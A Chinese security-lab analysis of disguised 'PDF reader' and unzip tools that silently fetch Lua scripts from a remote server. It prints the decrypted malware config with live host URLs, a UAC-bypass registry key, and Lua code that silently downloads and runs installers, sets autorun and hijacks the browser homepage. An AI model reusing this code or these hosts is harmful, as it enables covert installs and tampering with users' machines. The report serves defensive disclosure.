近日,百度安全实验室发现多款伪装成“解压工具”、“文档阅读器”等常用软件,实则背后悄悄进行远程代码执行和刷流量牟取暴利等行为的恶意软件。通过对这些伪装软件的技术分析,发现它们都源自重庆同一公司所为,恶意代码作者通过注册多个数字签名实现绕过安全软件的检测,使用相同的框架开发多款网民常用的小工具,并利用大量下载站和界面简单的“官方网站”进行传播。其中一款名为“极客压缩”解压软件,在某家软件管理中下载次数就高达308万次。
当用户安装这些软件后,会静默通过远程服务器下发恶意模块和Lua脚本并执行,Lua脚本在执行过程会跳过“北京”、“上海”、“广州”、“深圳”、“珠海”五大城市,以逃避主流安全厂商的捕获和分析。Lua脚本机具备下载任意程序并静默执行、结束进程、修改任意注册表、向连接的手机安装APK、修改主页、本地提权等121个功能API,功能强大令人震惊。值得警惕的是,Lua脚本可随时被升级更新,不排除有幕后黑手利用这功能强大的后门执行隐私窃取等其他恶意行为,存在极高的安全隐患。
以下以其中一款名为“优选PDF阅读器”的软件为例进行分析:
一、行为分析
软件安装并启动后会调用安装目录的“YouPdfUpdate.exe”进程,传入参数youp,并从网络获取动态链接库,保存到程序当前路径下,命名为update.yyp。
该文件经过加密,解密后的动态链接库包含两个导出函数:
该模块主要实现创建Lua虚拟机并执行传入的Lua脚本,模块中实现了以下Lua API。
以上API能够实现自启动、修改UAC策略、安装APK、下载并执行文件、执行脚本、进程控制、从网络获取任意文件等操作。
该模块中实现了利用事件查看器漏洞绕过UAC防御,主要通过修改注册表:
“HKEY_CURRENT_USERSoftwareClassesmscfileshellopencommand”的方式实现。
程序在运行时,执行了Lua中的ExecNetScipt功能,即请求从
“http://config.younoteba.top/src/youpdfu.html”下载并执行Lua脚本。解密后的脚本执行了发送机器信息到作者服务器、设置进程自身退出时间等一系列初始化操作,然后下载XML配置文件并根据获取到的配置完成修改主页、过滤进程、软件推广安装等操作。
解密后的XML配置文件:
<?xml version="1.0" encoding="utf-8"?>
<root><base><filterProcess>360sd.exe,360Tray.exe</filterProcess><filterArea>上海,珠海,北京,广东,深圳</filterArea><richSpan>6</richSpan><richSpanDay>1</richSpanDay><runAfterIstall>16</runAfterIstall><runDelay>270</runDelay><richMaxCheckedNum>1</richMaxCheckedNum></base><mini/><page><item><id>1664</id><name>金山毒霸-优选PDF</name><url>http://s.show.qiangzuotong.cn/Public/popup/fmt/isurAh.html</url><width>445</width><height>227</height><res>1663</res><resusetype>0</resusetype><keyword/><keywordNeedful/><pos>0</pos><interval>10</interval><enable/></item><item><id>2041</id><name>飞米资讯json迷你页-优选PDF</name><url>http://mini.cqyzzkj.cn/ad/s/xbzms/360jxbzm/index.html#qid=0_0</url><width>384</width><height>535</height><res/><resusetype>0</resusetype><keyword>东方网;头条;国内;新闻;娱乐;视频;国际;军事;体育;历史;曝光;东方微博;健康;人文;科技;游戏;星座;家居;天气;笑话;今日;热点;猎奇;探索;今日爆点;资讯;热门;占卜;新华网;环球网;参考消息;人民网;联合早报;中华网;国际在线;大公网;星岛环球网;凤凰网;北京时间;腾讯网</keyword><keywordNeedful>东方网;头条;国内;新闻;娱乐;视频;国际;军事;体育;历史;曝光;东方微博;健康;人文;科技;游戏;星座;家居;天气;笑话;今日;热点;猎奇;探索;今日爆点;资讯;热门;占卜;新华网;环球网;参考消息;人民网;联合早报;中华网;国际在线;大公网;星岛环球网;凤凰网;北京时间;腾讯网</keywordNeedful><keywordExclude/><pos>0</pos><interval>900</interval><enable>1</enable></item></page><res><item><id>1663</id><name>金山毒霸</name><type>cpa</type><url>http://cd001.www.duba.net/duba/install/2011/ever/duba_820_820.exe</url><arg/><packname>duba_820_820.exe</packname><downtype>2</downtype><isencryptionpack/><namecheck>金山毒霸</namecheck><runtype>1</runtype><regkey/><iconcheck>金山毒霸</iconcheck><processcheck>kxescore.exe</processcheck><regcheck>HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceKAV7NEEDREBOOT</regcheck><nocheck>false</nocheck><filterProcess/><needprocess/><haduac>1</haduac><filterOS/><dbt>3</dbt><interval>8</interval></item></res></root>
捕获的Lua脚本中的主要函数如下:
1、DoBiz
该函数主要完成检测引擎版本、判断配置文件是否可写、判断是否用户管家下载、判断用户点击了意见反馈、下载配置、执行迷你页、过滤进程及地区、执行富媒体等。
function DoBiz()
--检测引擎版本
if IsCurrentEng() == false then
return
end
--判断配置文件是否可写
if IsWriteini() == false then
return
end
--判断是否用户管家下载
local sutime = BzRunReadlog("user", "isuser")
if sutime ~= nil and sutime ~= "" then
local utime = tonumber(sutime)
if utime ~= nil and os.time() - utime <= 24*60*60 then
return
end
end
--判断用户点击了意见反馈
local fbdate = BzRunReadlog("feedback", "fbdate")
local fbnext = BzRunReadlog("feedback", "fbnext")
if fbdate ~= nil and fbdate ~= "" then
local ufbdate = tonumber(fbdate)
if ufbdate ~= nil then
if fbnext == nil or fbnext == "" then
fbnext = "30"
end
local ufbnext = tonumber(fbnext)
if ufbnext == nil then
ufbnext = 30
end
if os.time() <= ufbdate ufbnext*24*60*60 then
return
end
end
end
--下载配置
if GetXmlData() == false then
return
end
api.Delay(60*1000)
--执行迷你页
DoMini()
--延迟
api.Delay(tBzBase["runDelay"]*1000)
--过滤进程
if FilterProcess() == false then
return
end
--过滤地区
if IsNoBzArea() == true then
os.exit()
--return
end
--判断安装时间
if CheckInstallTime() == false then
return
end
-- 执行富媒体
DoRich()
end
2、InstallCpa
该函数主要完成推广软件的安装条件检测、软件下载以及安装等相关行为。
function InstallCpa(v)
SenBizInfo(v["id"],"cpa","5")
if v['nocheck'] == "true" or api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"]) == false then
local downrs = false
local fileData = ""
if v["packname"] == nil or v["packname"] == "" then
v["packname"] = string.sub(os.tmpname(),1)
end
local filepath = api.TempPath() .. v["packname"]
if v["downtype"] == "1" then
for i=1,1,1 do
fileData = api.HttpGet(v["url"])
if fileData ~= nil then
if v["isencryptionpack"] == true then
local fileDataDecode = api.DesDecrypt(fileData,tSoftInfo["dkey"])
fileData = nil
fileData = fileDataDecode
end
local file = io.open(filepath,"wb")
if file ~= nil then
file:write(fileData)
file:close()
downrs = true
end
break
end
end
else
for i=1,1,1 do
if api.DownFile(v["url"], filepath) ~= nil then
downrs = true
break
end
end
end
if downrs == true then
SenBizInfo(v["id"],"cpa","6")
if string.find(v["runtype"],"1") ~= nil then
--添加ARG参数
local cmd = """ .. filepath .. """
if v['arg'] ~= nil and v['arg'] ~= "" then
cmd = cmd .. " " .. v['arg']
end
BzRunWritelog("cpa",v["id"])
if bHadUAC and v['haduac'] == "1" then
api.ShellExec("open",filepath,v['arg'])
api.Delay(50*1000);
else
api.Exec(cmd,3*60*1000)
api.Delay(50*1000);
end
if api.IsSoftInstall(v["namecheck"],v["processcheck"],v["iconcheck"],v["regcheck"]) then
SenBizInfo(v["id"],"cpa","0")
else
SenBizInfo(v["id"],"cpa","4")
end
end
if string.find(v["runtype"],"2") ~= nil then
if api.SetAutoRun(v["regkey"],cmd) then
SenBizInfo(v["id"],"cpa","7")
else
SenBizInfo(v["id"],"cpa","4")
end
end
else
SenBizInfo(v["id"],"cpa","2")
end
else
SenBizInfo(v["id"],"cpa","1")
end
end
3、SetHomepage
该函数通过修改注册表达到篡改浏览器主页的目的。
function SetHomepage(v)
local reg = api.RegOpen("HCU", "Software\Microsoft\Internet Explorer\Main")
local regurl = api.RegGetV(reg,"Start Page")
if regurl ~= nil and regurl ~= v["url"] then
local bset = api.RegSetV(reg,"Start Page",v["url"])
if bset then
SenBizInfo(v["id"],"homepage","0")
else
SenBizInfo(v["id"],"homepage","4")
end
end
end
二、同源性分析
通过对“优选PDF阅读器”的关联分析,发现其关联多个域名,涉及多款软件,但行为基本类似。
1、相似的安装界面
以下为优选PDF阅读器的安装界面。
以下为关联到的迅捷便签的安装界面
2、相似的官网
这些软件均有相似度较高的官网,页面布局、语言描述等均高度相似。以下为优选PDF阅读器及迅捷便签的官网。
三、总结
近几年,出现了一些打着“免费”的旗号,背后却偷偷利用网民的电脑用作赚钱机器的工具软件,这些软件往往在表面骗取了用户的信任,恶意行为却很难被察觉。百度安全实验室建议用户能养成良好上网习惯,发现电脑异常及时使用安全软件进行安全检测。对于政企机构要加强对于软件下载和升级的把控,加强网络通信行为的分析感知能力。同时也倡导各软件下载站和分发渠道能加强软件审核、规范服务。
附录:相关的软件列表
本文来自百度安全实验室,百度安全经授权发布
文章图片来源于网络,如有问题请联系我们